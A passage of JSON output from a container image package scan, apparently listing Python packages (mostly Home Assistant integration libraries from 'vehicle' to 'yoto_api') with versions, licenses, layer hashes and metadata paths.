"sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vegehub-0.1.26.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vehicle", "Identifier": { "PURL": "pkg:pypi/vehicle@3.0.0", "UID": "fe565dcfbe0e62eb" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vehicle-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "velbus-aio", "Identifier": { "PURL": "pkg:pypi/velbus-aio@2026.4.1", "UID": "6e52b30572191a6b" }, "Version": "2026.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/velbus_aio-2026.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "venstarcolortouch", "Identifier": { "PURL": "pkg:pypi/venstarcolortouch@0.22", "UID": "e69f375e30f40db1" }, "Version": "0.22", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/venstarcolortouch-0.22.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "viaggiatreno_ha", "Identifier": { "PURL": "pkg:pypi/viaggiatreno-ha@0.2.4", "UID": "106a0c817e8f182b" }, "Version": "0.2.4", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/viaggiatreno_ha-0.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "victron-vrm", "Identifier": { "PURL": "pkg:pypi/victron-vrm@0.1.12", "UID": "5bf6458a060a266" }, "Version": "0.1.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/victron_vrm-0.1.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "victron_ble", "Identifier": { "PURL": "pkg:pypi/victron-ble@0.9.3", "UID": "2d4f1c7e5f5a56f" }, "Version": "0.9.3", "Licenses": [ "Unlicense" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/victron_ble-0.9.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "victron_ble_ha_parser", "Identifier": { "PURL": "pkg:pypi/victron-ble-ha-parser@0.7.0", "UID": "1dcbe02fef04deea" }, "Version": "0.7.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/victron_ble_ha_parser-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "victron_mqtt", "Identifier": { "PURL": "pkg:pypi/victron-mqtt@2026.6.1.1", "UID": "65d395fee3c404f8" }, "Version": "2026.6.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/victron_mqtt-2026.6.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vilfo-api-client", "Identifier": { "PURL": "pkg:pypi/vilfo-api-client@0.5.0", "UID": "1a92f9c7d29bbed7" }, "Version": "0.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vilfo_api_client-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vincenty", "Identifier": { "PURL": "pkg:pypi/vincenty@0.1.4", "UID": "eb407d1d507386af" }, "Version": "0.1.4", "Licenses": [ "Public Domain" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vincenty-0.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "virtualenv", "Identifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "Version": "21.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "visionpluspython", "Identifier": { "PURL": "pkg:pypi/visionpluspython@1.1.0", "UID": "8159082fe888e139" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/visionpluspython-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vobject", "Identifier": { "PURL": "pkg:pypi/vobject@0.9.9", "UID": "3b6633cbe6deb9db" }, "Version": "0.9.9", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vobject-0.9.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "voip-utils", "Identifier": { "PURL": "pkg:pypi/voip-utils@0.4.0", "UID": "c91456dd43ba2034" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/voip_utils-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "volkszaehler", "Identifier": { "PURL": "pkg:pypi/volkszaehler@0.4.0", "UID": "6672c044db47f5fc" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/volkszaehler-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "voluptuous", "Identifier": { "PURL": "pkg:pypi/voluptuous@0.15.2", "UID": "e18e8da4b76a00dd" }, "Version": "0.15.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/voluptuous-0.15.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "voluptuous-openapi", "Identifier": { "PURL": "pkg:pypi/voluptuous-openapi@0.4.1", "UID": "148842e12927491f" }, "Version": "0.4.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/voluptuous_openapi-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "voluptuous-serialize", "Identifier": { "PURL": "pkg:pypi/voluptuous-serialize@2.7.0", "UID": "442ded7134d56dba" }, "Version": "2.7.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/voluptuous_serialize-2.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "volvocarsapi", "Identifier": { "PURL": "pkg:pypi/volvocarsapi@0.4.3", "UID": "322073497a73b72f" }, "Version": "0.4.3", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/volvocarsapi-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vsure", "Identifier": { "PURL": "pkg:pypi/vsure@2.7.1", "UID": "b5b978555c6cc2c6" }, "Version": "2.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vsure-2.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vtjp", "Identifier": { "PURL": "pkg:pypi/vtjp@0.2.1", "UID": "6304aa9a2fb683bd" }, "Version": "0.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vtjp-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wakeonlan", "Identifier": { "PURL": "pkg:pypi/wakeonlan@3.3.0", "UID": "e1826e1ffba2238f" }, "Version": "3.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wakeonlan-3.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wallbox", "Identifier": { "PURL": "pkg:pypi/wallbox@0.9.0", "UID": "5674df69401c82ab" }, "Version": "0.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wallbox-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "warrant-lite", "Identifier": { "PURL": "pkg:pypi/warrant-lite@1.0.4", "UID": "2e79fb989c14bc66" }, "Version": "1.0.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/warrant_lite-1.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "watchdog", "Identifier": { "PURL": "pkg:pypi/watchdog@6.0.0", "UID": "d3f6857908e56381" }, "Version": "6.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/watchdog-6.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "waterfurnace", "Identifier": { "PURL": "pkg:pypi/waterfurnace@1.7.1", "UID": "a542b938531dd4" }, "Version": "1.7.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/waterfurnace-1.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "watergate_local_api", "Identifier": { "PURL": "pkg:pypi/watergate-local-api@2025.1.0", "UID": "33a9418e9d869f49" }, "Version": "2025.1.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/watergate_local_api-2025.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wcwidth", "Identifier": { "PURL": "pkg:pypi/wcwidth@0.8.2", "UID": "3137aadf5b1c4c6a" }, "Version": "0.8.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wcwidth-0.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "weatherflow4py", "Identifier": { "PURL": "pkg:pypi/weatherflow4py@1.5.4", "UID": "cea46081bdc743d1" }, "Version": "1.5.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/weatherflow4py-1.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "webcolors", "Identifier": { "PURL": "pkg:pypi/webcolors@25.10.0", "UID": "5db47b65bf1f37fc" }, "Version": "25.10.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/webcolors-25.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "webencodings", "Identifier": { "PURL": "pkg:pypi/webencodings@0.5.1", "UID": "ebbf10899090bd30" }, "Version": "0.5.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/webencodings-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "webexpythonsdk", "Identifier": { "PURL": "pkg:pypi/webexpythonsdk@2.0.6", "UID": "a2530213665f0de0" }, "Version": "2.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/webexpythonsdk-2.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "webio_api", "Identifier": { "PURL": "pkg:pypi/webio-api@0.1.12", "UID": "7bf8bd79dd68008e" }, "Version": "0.1.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/webio_api-0.1.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "webmin-xmlrpc", "Identifier": { "PURL": "pkg:pypi/webmin-xmlrpc@0.0.2", "UID": "f6eff9d167d5c13" }, "Version": "0.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/webmin_xmlrpc-0.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "webrtc-models", "Identifier": { "PURL": "pkg:pypi/webrtc-models@0.3.0", "UID": "64df572bafdcd964" }, "Version": "0.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/webrtc_models-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "websocket-client", "Identifier": { "PURL": "pkg:pypi/websocket-client@1.9.0", "UID": "c3c885812e325d07" }, "Version": "1.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/websocket_client-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "websockets", "Identifier": { "PURL": "pkg:pypi/websockets@15.0.1", "UID": "86717d451ec36294" }, "Version": "15.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/websockets-15.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "weheat", "Identifier": { "PURL": "pkg:pypi/weheat@2026.4.8", "UID": "1fd394cc8cd33e1e" }, "Version": "2026.4.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/weheat-2026.4.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wheel", "Identifier": { "PURL": "pkg:pypi/wheel@0.46.3", "UID": "acab206b2dd0ce12" }, "Version": "0.46.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/wheel-0.46.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "whirlpool_sixth_sense", "Identifier": { "PURL": "pkg:pypi/whirlpool-sixth-sense@1.0.3", "UID": "c0fdfbb8c36fe55b" }, "Version": "1.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/whirlpool_sixth_sense-1.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "whois", "Identifier": { "PURL": "pkg:pypi/whois@0.9.27", "UID": "3d210193a6778070" }, "Version": "0.9.27", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/whois-0.9.27.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wiffi", "Identifier": { "PURL": "pkg:pypi/wiffi@1.1.2", "UID": "2d1687083233a6e5" }, "Version": "1.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wiffi-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wiim", "Identifier": { "PURL": "pkg:pypi/wiim@0.1.4", "UID": "a50dbbbd2e80f5d0" }, "Version": "0.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wiim-0.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wirelesstagpy", "Identifier": { "PURL": "pkg:pypi/wirelesstagpy@0.8.1", "UID": "d275bb6802d60e3f" }, "Version": "0.8.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wirelesstagpy-0.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wled", "Identifier": { "PURL": "pkg:pypi/wled@0.23.0", "UID": "6c297fbf7bec078f" }, "Version": "0.23.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wled-0.23.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wolf_comm", "Identifier": { "PURL": "pkg:pypi/wolf-comm@0.0.52", "UID": "18f3ace9bdae6de1" }, "Version": "0.0.52", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wolf_comm-0.0.52.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wrapt", "Identifier": { "PURL": "pkg:pypi/wrapt@1.17.3", "UID": "2121ed618127412f" }, "Version": "1.17.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wrapt-1.17.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wsdot", "Identifier": { "PURL": "pkg:pypi/wsdot@0.0.1", "UID": "2caddd1f33195a11" }, "Version": "0.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wsdot-0.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wsproto", "Identifier": { "PURL": "pkg:pypi/wsproto@1.3.2", "UID": "28757e256d73afd3" }, "Version": "1.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wsproto-1.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wyoming", "Identifier": { "PURL": "pkg:pypi/wyoming@1.9.0", "UID": "bdc3063d7d1d34cd" }, "Version": "1.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/wyoming-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "x-wr-timezone", "Identifier": { "PURL": "pkg:pypi/x-wr-timezone@2.0.1", "UID": "755a74f8ce4d7fd0" }, "Version": "2.0.1", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/x_wr_timezone-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "xiaomi-ble", "Identifier": { "PURL": "pkg:pypi/xiaomi-ble@1.11.0", "UID": "c1813957a5bf3b9a" }, "Version": "1.11.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/xiaomi_ble-1.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "xknx", "Identifier": { "PURL": "pkg:pypi/xknx@3.16.0", "UID": "2a67d1368265542c" }, "Version": "3.16.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/xknx-3.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "xknxproject", "Identifier": { "PURL": "pkg:pypi/xknxproject@3.9.0", "UID": "7e876698ac8683bb" }, "Version": "3.9.0", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/xknxproject-3.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "xlsxwriter", "Identifier": { "PURL": "pkg:pypi/xlsxwriter@3.2.9", "UID": "471db8c3ba3434a6" }, "Version": "3.2.9", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/xlsxwriter-3.2.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "xmlschema", "Identifier": { "PURL": "pkg:pypi/xmlschema@4.3.2", "UID": "9977a7e0ee93c8dd" }, "Version": "4.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/xmlschema-4.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "xmltodict", "Identifier": { "PURL": "pkg:pypi/xmltodict@1.0.4", "UID": "2754b0d5c94ca5b7" }, "Version": "1.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/xmltodict-1.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "xs1-api-client", "Identifier": { "PURL": "pkg:pypi/xs1-api-client@3.0.0", "UID": "6f16968558d30d1c" }, "Version": "3.0.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/xs1_api_client-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yagrc", "Identifier": { "PURL": "pkg:pypi/yagrc@1.1.3", "UID": "492c7374244a343f" }, "Version": "1.1.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yagrc-1.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yalesmartalarmclient", "Identifier": { "PURL": "pkg:pypi/yalesmartalarmclient@0.4.3", "UID": "ff8f88339165a7fb" }, "Version": "0.4.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yalesmartalarmclient-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yalexs", "Identifier": { "PURL": "pkg:pypi/yalexs@9.2.7", "UID": "3b030f7134102a76" }, "Version": "9.2.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yalexs-9.2.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yalexs-ble", "Identifier": { "PURL": "pkg:pypi/yalexs-ble@3.3.1", "UID": "d52048358586f1fa" }, "Version": "3.3.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yalexs_ble-3.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yarl", "Identifier": { "PURL": "pkg:pypi/yarl@1.24.2", "UID": "3f04cfb0410654fc" }, "Version": "1.24.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/yarl-1.24.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yeelight", "Identifier": { "PURL": "pkg:pypi/yeelight@0.7.16", "UID": "e519502c3637f2e6" }, "Version": "0.7.16", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yeelight-0.7.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yeelightsunflower", "Identifier": { "PURL": "pkg:pypi/yeelightsunflower@0.0.10", "UID": "725b10eeee69d90e" }, "Version": "0.0.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yeelightsunflower-0.0.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yolink-api", "Identifier": { "PURL": "pkg:pypi/yolink-api@0.6.5", "UID": "5b76c8e1c25592f9" }, "Version": "0.6.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yolink_api-0.6.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yoto_api", "Identifier": { "PURL": "pkg:pypi/yoto-api@4.3.1", "UID": "62e459722f41e69" }, "Version": "4.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/yoto_api-4.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "youless_api", "Identifier": { "PURL": "pkg:pypi/youless-api@2.2.0", "UID": "2407d2b3c02abfe7" }, "Version": "2.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/youless_api-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "youtubeaio", "Identifier": { "PURL": 